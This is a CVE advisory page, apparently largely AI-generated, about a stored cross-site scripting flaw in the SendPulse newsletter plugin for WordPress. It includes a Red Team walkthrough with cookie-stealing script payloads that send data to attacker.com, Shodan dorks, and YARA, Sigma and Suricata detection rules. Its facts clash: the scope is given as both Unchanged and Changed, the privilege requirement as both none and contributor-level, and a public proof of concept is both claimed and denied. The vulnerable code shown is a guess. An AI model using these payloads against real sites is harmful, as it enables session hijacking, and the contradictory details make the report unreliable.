☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Sendpulse logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22662

CVE-2025-22662 Cross-Site Scripting in Sendpulse
📅 PUBLISHED: 2025-02-04 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22662 is a Stored Cross-Site Scripting (XSS) vulnerability in the SendPulse Email Marketing Newsletter plugin for WordPress, affecting versions up to and including 2.1.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the plugin’s newsletter creation interface. When an administrator or other user views the crafted newsletter, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch details are currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should verify the integrity of the plugin by checking its checksum against the official repository and ensure automatic updates are enabled. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need prior authentication to trigger the stored XSS, but they need to be able to submit content (e.g., via a newsletter form).
  • User Interaction (UI): Required (R) – The victim must view the malicious newsletter.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploit code and the requirement for user interaction reduce immediate risk. However, the stored nature of the XSS means that a single crafted newsletter can affect multiple users.

Deep Dive & Mechanics

The vulnerability exists in the sendpulse-email-marketing-newsletter plugin, specifically in the newsletter creation functionality. The plugin fails to sanitize or escape user-supplied input when generating the newsletter content. An attacker with contributor-level access (or higher) can inject malicious HTML and JavaScript into fields such as the newsletter title, body, or custom fields. When the newsletter is saved and later viewed by an administrator or other user, the injected script executes in the context of the victim’s WordPress admin session.

The root cause is the use of echo or print statements without proper escaping functions like esc_html() or wp_kses_post(). The plugin likely outputs user input directly into the page without sanitization, allowing arbitrary script execution.

Attack Flow:

  1. Attacker logs in as a contributor or higher.
  2. Attacker creates a new newsletter and injects a payload like <script>alert('XSS')</script> into a field.
  3. The plugin stores the payload in the database.
  4. An administrator views the newsletter list or preview.
  5. The payload executes in the administrator’s browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable code (sendpulse-email-marketing-newsletter plugin)
echo '<div class="newsletter-title">' . $newsletter_title . '</div>';

The patched version should use WordPress escaping functions:

// Patched code
echo '<div class="newsletter-title">' . esc_html( $newsletter_title ) . '</div>';

Or for rich content:

echo '<div class="newsletter-body">' . wp_kses_post( $newsletter_body ) . '</div>';

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with SendPulse Email Marketing Newsletter plugin <= 2.1.5 installed and activated.
  • Attacker account with contributor-level privileges or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to SendPulse > Create Newsletter.
  3. In the “Newsletter Title” field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the newsletter.
  5. Wait for an administrator to view the newsletter list or preview.
  6. The administrator’s cookie is exfiltrated to the attacker’s server.

Alternative Payload (for session hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

  • Monitor for unusual newsletter titles or body content containing <script> tags.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.
  • Enable WordPress security plugins that scan for malicious content.

Prevention:

  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Regularly update the plugin to the latest version.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains containing document.cookie in the URL.
  • File: Modified plugin files in /wp-content/plugins/sendpulse-email-marketing-newsletter/ with unexpected content.
  • Database: Entries in the wp_posts or custom plugin tables containing <script> tags.
  • Logs: WordPress debug logs showing PHP warnings related to unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_22662_SendPulse_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-22662 in SendPulse plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22662"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "sendpulse-email-marketing-newsletter"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: CVE-2025-22662 SendPulse Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in SendPulse Email Marketing Newsletter plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "sendpulse-email-marketing-newsletter"
        http.body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in newsletters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22662 SendPulse Stored XSS Attempt"; flow:to_server,established; content:"sendpulse-email-marketing-newsletter"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations.
  2. Restrict user roles – Only allow trusted administrators to create newsletters.
  3. Implement a WAF – Use rules to block <script> tags in POST requests to newsletter endpoints.

Long-term Fix:

  • Apply the official patch once released by SendPulse.
  • If no patch is available, manually escape all output in the plugin files using esc_html() or wp_kses_post().

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"SendPulse"
http.html:"sendpulse-email-marketing-newsletter"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22662/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.